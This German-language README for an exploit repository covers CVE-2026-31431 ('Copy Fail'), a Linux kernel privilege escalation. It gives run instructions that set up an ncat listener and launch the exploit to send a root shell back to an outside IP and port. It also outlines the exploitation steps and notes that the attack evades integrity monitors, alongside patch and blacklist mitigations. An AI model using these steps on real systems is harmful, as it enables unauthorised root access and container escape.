🔴 CVE-2026-31431 — „Copy Fail"

Ein 9 Jahre alter Linux-Kernel-Logikfehler, der in Sekunden Root-Rechte gewährt

Übersicht

Copy Fail ist eine schwerwiegende lokale Privilegieneskalations-Schwachstelle (LPE) im kryptografischen Subsystem des Linux-Kernels (algif_aead). Entdeckt und veröffentlicht von Theori (über ihr KI-gestütztes Schwachstellenforschungs-Tool Xint Code) am 29. April 2026, ermöglicht der Fehler jedem nicht-privilegierten lokalen Benutzer, 4 kontrollierte Bytes in den Page Cache einer beliebigen lesbaren Datei zu schreiben — und dies auszunutzen, um auf praktisch jeder großen Linux-Distribution, die seit 2017 ausgeliefert wurde, Root-Rechte zu erlangen.

Ein funktionierender Proof-of-Concept-Exploit umfasst nur ~732 Bytes Python.

Ausnutzung

1. Ncat-Listener starten

sudo ncat -lvnp PORT

2. Exploit auf dem Zielsystem ausführen

# Mit Python-Skript
python3 CVE-2026-31431-Exploit.py IP PORT

# Kompilierte Binärdatei
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT

🧬 Technische Zusammenfassung

So funktioniert der Exploit (4 Schritte)

1. Öffnen Sie einen AF_ALG-Socket und binden Sie ihn an authencesn(hmac(sha256),cbc(aes))
2. Splices Sie die Seiten einer lesbaren setuid-Binärdatei in den Socket
3. Der AEAD-Scratch-Schreibvorgang des Kernels überschreibt 4 Bytes im Page Cache dieser Binärdatei
4. Ausführen der nun korrupten setuid-Binärdatei → Root-Shell

Warum es gefährlich ist

• Kein Race-Fenster — deterministisch, funktioniert jedes Mal
• Kein Kernel-Offset / KASLR-Bypass nötig
• Derselbe Exploit funktioniert über Distributionen hinweg — Ubuntu, RHEL, Amazon Linux, SUSE, Rocky usw.
• Container-Escape — der Page Cache wird geteilt; ein Schreibzugriff aus einem Container heraus wirkt sich auf den Host aus
• Keine Änderung auf dem Datenträger — Dateiintegritätsmonitore (AIDE, OSSEC usw.) werden es nicht erkennen
• Keine forensische Spur auf dem Datenträger

🎯 Betroffene Versionen

Bestätigte verwundbare Distributionen

• Ubuntu 24.04 LTS
• Amazon Linux 2023
• RHEL 10.1
• SUSE 16
• Rocky Linux 9.7

Im Wesentlichen ist jede große Linux-Distribution, die seit 2017 veröffentlicht wurde, betroffen.

🛡️ Gegenmaßnahmen

1. Patch (empfohlen)

Aktualisieren Sie Ihren Kernel auf eine Version, die den Fix-Commit fafe0fa2995a enthält. Die meisten großen Distributionen haben aktualisierte Kernel-Pakete veröffentlicht oder veröffentlichen diese gerade.

2. Temporäre Workarounds

Falls Sie nicht sofort patchen können:

• Blockieren Sie die AF_ALG-Socket-Erstellung über eine seccomp-Richtlinie
• Setzen Sie das algif_aead-Modul auf die Blacklist:
  root@kitploit:~

  echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
  sudo modprobe -r algif_aead 2>/dev/null
  

⚠️ Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und Verteidigungszwecken. Die hier enthaltenen Informationen sollen Sicherheitsteams dabei helfen, CVE-2026-31431 zu verstehen, zu erkennen und zu entschärfen. Befolgen Sie stets verantwortungsvolle Offenlegungspraktiken und geltende Gesetze.

⭐ Markieren Sie dieses Repository mit einem Stern, um über Patches und Erkennungsleitfäden auf dem Laufenden zu bleiben.